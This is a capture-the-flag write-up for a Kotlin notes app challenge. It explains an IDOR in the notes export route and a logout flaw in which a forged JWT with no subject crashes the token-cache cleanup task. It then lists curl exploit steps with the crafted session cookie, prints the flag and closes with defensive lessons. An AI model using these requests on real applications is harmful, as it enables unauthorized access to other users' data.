Another Notes App - Kashi CTF 2026
tl;dr
This challenge came with both a live instance and a source archive, another-notes-chall.tgz. Since the app was small and the instance had a short lifetime, reading the source was the fastest path to a reliable exploit.
Challenge points: 500
Recon
Initial HTTP recon showed a simple note application:
curl -i -s http://34.126.223.46:17029/
The app redirected immediately to /login, and from there the flow looked like:
/register/login/notes- Create / delete notes
- Request a notes export
The archive contents were:
handout/src/main/kotlin/just/some/ctf/notestwo/Application.kt
handout/src/main/kotlin/just/some/ctf/notestwo/db/Database.kt
handout/src/main/kotlin/just/some/ctf/notestwo/auth/JwtConfig.kt
handout/src/main/kotlin/just/some/ctf/notestwo/auth/TokenCache.kt
handout/src/main/kotlin/just/some/ctf/notestwo/views/NotesViews.kt
Reading the Code
The most important file was Database.kt. It initializes an in-memory H2 database and creates a seeded user:
val ownerPassword =
ByteArray(32).also { SecureRandom().nextBytes(it) }.joinToString("") { "%02x".format(it) }
println("Owner password: $ownerPassword")
val ownerId = Users.insert {
it[username] = "owner"
it[passwordHash] = hashPassword(ownerPassword)
} get Users.id
val flag = File("/flag.txt").readText() ?: TODO()
Notes.insert {
it[userId] = ownerId.value
it[content] = "Something something $flag"
it[createdAt] = System.currentTimeMillis()
}
This immediately told us:
- The flag is inside the seeded
owneraccount’s note. - The
ownerpassword is random each startup — logging in normally is not possible. - The intended solve must be a logic bug that lets us read
owner’s notes anyway.
Finding the Vulnerable Route
The main logic in Application.kt exposed this export endpoint:
post("/notes/request-download") {
val session = call.sessions.get<UserSession>()
if (session == null) {
call.respond(HttpStatusCode.Unauthorized, "Not authenticated")
return@post
}
val claims = tokenCache.verifyToken(session.token)
if (claims == null) {
call.respond(HttpStatusCode.Unauthorized, "Invalid session")
return@post
}
val params = call.receiveParameters()
val requestedUsername = params["username"] ?: ""
if (downloadPermissions.containsKey(session.token)) {
val grantedTime = downloadPermissions[session.token]!!
if (grantedTime <= System.currentTimeMillis()) {
val user = UserService.getUserByUsername(requestedUsername)
if (user != null) {
val notes = NoteService.getUserNotes(user.id)
call.respondText(
notes.joinToString("\n") { "- ${it.content}" },
ContentType.Text.Plain
)
}
} else {
call.respondText("Your request for data download is being processed, check back in a few moments.")
}
} else {
val grantedTime = System.currentTimeMillis() + (300 * 1000)
downloadPermissions[session.token] = grantedTime
call.respondText("Your request for data download is being processed, check back in a few moments.")
}
}
This is a classic IDOR:
- The route accepts an arbitrary
usernameparameter. - It does not enforce that
requestedUsernamematches the logged-in user. - After the delay expires, it returns that user’s notes.
So in principle the exploit is straightforward:
- Log in as any user.
- Start a download request for
owner. - Wait 5 minutes.
- Reuse the same session token.
- Receive
owner’s notes, including the flag.
The Second Bug — Token Cache Lifetime
val token = JwtConfig.generateToken(user.username)
tokenCache.cacheToken(token, JwtConfig.verifyToken(token)!!)
All auth checks use an in-memory cache:
fun verifyToken(token: String): Claims? {
return cache[token]
}
Tokens only stay valid while present in this cache. JWT validity is only 3 minutes:
private const val validityInMs = 3 * 60_000
So the normal 5-minute download timer would outlive the session, making the IDOR unreachable under normal timing. The intended path requires keeping a token alive past its expiry by breaking the token-cache cleanup logic.
Breaking the Token Cache
The bug lives in TokenCache.kt:
private fun processLogoutInline(token: String) {
// Full validation isn't needed as the user can't impersonate others without token
JwtConfig.parseWithoutValidation(token)?.let {
val username = JwtConfig.getUsername(it)
UserService.getUserByUsername(username).let {
cache.remove(token)
}
}
}
And parseWithoutValidation() in JwtConfig.kt:
fun parseWithoutValidation(token: String): Claims? {
return try {
val parts = token.split(".")
if (parts.size != 3) return null
val unsignedToken = parts[0] + "." + parts[1] + "."
Jwts.parserBuilder()
.build()
.parseClaimsJwt(unsignedToken)
.body
} catch (e: Exception) {
null
}
}
The logout endpoint queues the session token without validating it first:
post("/logout") {
val session = call.sessions.get<UserSession>()
val token = session?.token
token?.let {
tokenCache.processLogout(it)
}
call.sessions.clear<UserSession>()
call.respondRedirect("/login")
}
The key weakness:
- The logout path does not verify the token before queueing it.
- The background cleanup coroutine later calls
JwtConfig.getUsername(it). - If the parsed claims have no
sub,claims.subjectis invalid and crashes the coroutine.
Once that coroutine dies, expired tokens are never removed from the in-memory cache — making the 5-minute delayed export reachable with a token that should have expired after 3 minutes.
Exploit Steps
Step 1 — Register a normal user
curl -s -X POST -d 'username=alice&password=alicepass' \
http://34.126.223.46:17029/register -D -
This returns a valid SESSION cookie containing Alice’s token.
Step 2 — Start the export request for owner
curl -i -s \
-H 'Cookie: SESSION=<alice-session-cookie>' \
-X POST \
-d 'username=owner' \
http://34.126.223.46:17029/notes/request-download
Response:
Your request for data download is being processed, check back in a few moments.
Step 3 — Send a crafted logout to kill the cleanup coroutine
Craft a JWT with no sub claim. The cookie body is JSON:
{"token":"eyJhbGciOiAiSFMyNTYifQ.e30.x"}
URL-encoded for the cookie header:
%7B%22token%22%3A%20%22eyJhbGciOiAiSFMyNTYifQ.e30.x%22%7D
Send it:
curl -i -s \
-H 'Cookie: SESSION=%7B%22token%22%3A%20%22eyJhbGciOiAiSFMyNTYifQ.e30.x%22%7D' \
-X POST \
http://34.126.223.46:17029/logout
This queues a malformed token for logout processing and kills the background cleanup task.
Step 4 — Wait past the 3-minute JWT expiry
Alice’s token should expire but remains in the cache since the cleanup task is dead.
Step 5 — Wait until the 5-minute export timer has passed, then collect the notes
curl -i -s \
-H 'Cookie: SESSION=<alice-session-cookie>' \
-X POST \
-d 'username=owner' \
http://34.126.223.46:17029/notes/request-download
Response:
- Something something kashiCTF{67358e160ab0c131916f0c05aebf8aff_D7aCaWyo6C}}
Flag
kashiCTF{67358e160ab0c131916f0c05aebf8aff_D7aCaWyo6C}}
Key Takeaways
- A delayed action can still be exploitable if sessions are cached incorrectly.
- In-memory token caches are dangerous when they become the real source of truth instead of cryptographic verification.
- “No need to validate on logout” is a bad assumption — logout handlers still process attacker-controlled input.
- A background cleanup coroutine is part of the attack surface if malformed state can crash it.
- The actual data leak was an IDOR on
requestedUsername; the token-cache bug only made the timing practical.